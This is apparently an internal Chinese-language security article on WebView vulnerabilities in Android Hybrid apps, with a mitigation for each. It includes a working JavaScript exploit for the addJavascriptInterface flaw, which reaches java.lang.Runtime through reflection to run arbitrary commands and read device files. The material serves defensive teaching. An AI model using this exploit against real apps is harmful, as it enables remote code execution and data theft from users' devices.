Hybrid框架安全隐患分析
Hybrid框架安全隐患分析##
目前我司移动端项目中各种app如雨后春笋般生根发芽层出不穷.而利用Hybrid框架确实可以减轻一部分移动端压力.并且做到灵活发版.但是其中的安全问题往往让人忽略.
针对Android端的目前的Hybrid项目.WebView引起的安全问题和漏洞等问题.下面做一个讨论.并针对相应的攻击方式采取措施,避免App中招.
我司现有的Hybrid中多数都没有考虑到安全性的问题.鉴于此,这里引入框架安全.给出攻击代码和解决方案.致力于把移动端Hybrid更加健壮.
WebView中的安全漏洞主要来自三个方面:
- WebView任意代码执行
- 密码明文存储
- 域控制不严格
下面针对上述漏洞做详细阐述.
1.WebView任意代码执行
漏洞产生原因:
- WebView addJavaScriptInterface()接口
漏洞:
js调用Native的addJavaScriptInterface接口进行对象映射:
webView.addJavascriptInterface(new MyObj(), "myObj");
当js拿到Native的这个myObj对象后,利用反射就可以调用到Native的这个对象的所有方法.从而可以执行Native的任何代码.包括系统类java.lang.Runtime
利用这个漏洞.可以很轻易获取到SD卡文件数据。通过二维码打开一个网页,就可以执行这段 js 代码进行漏洞攻击
攻击方式:
-
具体攻击方式是拿到Native中对象的getClass.
-
获取当前类的Class
-
利用Class.forName加载任何类.比如java.lang.Runtime
-
而该类可以做到执行一些命令
function execute(cmdArgs)
{
// 步骤1:遍历 window 对象.找到包含 getClass ()的对象
// Native端addJavascriptInterface映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) { //按照myObj顺利拿到class// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")// 步骤3:可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
// 如执行完访问文件的命令之后,就可以得到文件名的信息了。
}
}
}
解决方案
1.Android大于4.2版本 利用@JavascriptInterface进行注解
2.Android小于4.2版本 采用拦截prompt()进行漏洞修复
目前来说各大厂商基本都最低兼容到4.4版本,所以一般采用第一种
针对第二种版本的解决办法有些繁琐:
1.继承 WebView重写 addJavascriptInterface,在内部自己维护一个对象映射关系的 Map
将需要添加的js接口放入Map中
2.每次WebView加载页面前加载一段本地js
原理:
让js调用一Javascript方法:该方法是通过调用prompt()把JS中的信息(含特定标识,方法名称等)传递到Native端;
WebView的onJsPrompt()中 ,拿到信息通过反射机制调用Java对象的方法,这样实现安全的js调用Native
Native返回给JS的值:可通过prompt()把Java中方法的处理结果返回到js
代码:
javascript:(function JsAddJavascriptInterface_(){
// window.jsInterface 表示在window上声明了一个Js对象
// jsInterface = 注册的对象名
// 它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)
// 如果有返回值,就添加上return
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');}
else {
window.jsInterface = {
// 声明方法形式:方法名: function(参数)
onButtonClick:function(arg0) {
// prompt()返回约定的字符串
// 该字符串可自己定义
// 包含特定的标识符MyApp和 JSON 字符串(方法名,参数,对象名等)
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
},
onImageClick:function(arg0,arg1,arg2) {
return
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},
};
}
}
)()
// 当JS调用 onButtonClick() 或 onImageClick() 时,就会回调到Android中的 onJsPrompt ()
// 我们解析出方法名,参数,对象名
// 再通过反射机制调用Java对象的方法
这种方式就是利用传string避免直接操纵
注意:
- 上面js需要在下面的时机执行:onLoadResource()
doUpdateVisitedHistory()
onPageStarted()
onPageFinished()
onReceivedTitle()
onProgressChanged()
这是为了避免WebView跳转到下一个页面的时候之前加载的js失效
- 反射拿到的Native对象要屏蔽掉Object的方法.避免收到恶意攻击
2. WebView 内置导出的 searchBoxJavaBridge_对象
原因:
Android 3.0以下,Android系统会默认通过searchBoxJavaBridge_的Js接口给 WebView 添加一个JS映射对象:searchBoxJavaBridge_对象.该接口可能被利用,实现远程任意代码
解决方案:
// 通过调用该方法删除接口searchBoxJavaBridge_
removeJavascriptInterface();
3.密码明文存储漏洞
原因:
WebView默认开启密码保存功能
webView.setSavePassword(true)
开启后,在用户输入密码时,会弹出提示框:询问用户是否保存密码
如果选择是,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险
解决方案:
//关闭密码保存提醒
WebSettings.setSavePassword(false)
4. 域控制不严格漏洞
原因:
WebViewActivity 在xml中没有设置权限并对外暴露.导致第三方app恶意启动任意的url.
解决方案:
设置Activiy权限.并采用不对外暴露的方式
5.setAllowFileAccess()
// 设置是否允许 WebView 使用 File 协议
// 默认设置为true,即允许在 File 域下执行任意 JavaScript 代码
解决方案:
设置setAllowFileAccess(false) 但是会导致限制了 WebView 的功能,使其不能加载本地的 html 文件.这当然是不能容忍的.
6. setAllowFileAccessFromFileURLs()
//设置是否允许通过 file url 加载的 Js代码读取其他的本地文件在Android 4.1前默认允许 在Android 4.1后默认禁止
攻击方式:(AllowFileAccessFromFileURLs(true)时)
//通过该代码可成功读取 /etc/hosts 的内容数据
解决方案:
设置setAllowFileAccessFromFileURLs(false);当设置成为 false 时,上述JS的攻击代码执行会导致错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件.对于hybrid开发这是不能容忍的.
7. setAllowUniversalAccessFromFileURLs()
//设置是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源)
在Android 4.1前默认允许(setAllowFileAccessFromFileURLs()不起作用)
// 在Android 4.1后默认禁止
攻击方式:
// 通过该代码可成功读取 http://www.so.com 的内容

浙公网安备 33010602011771号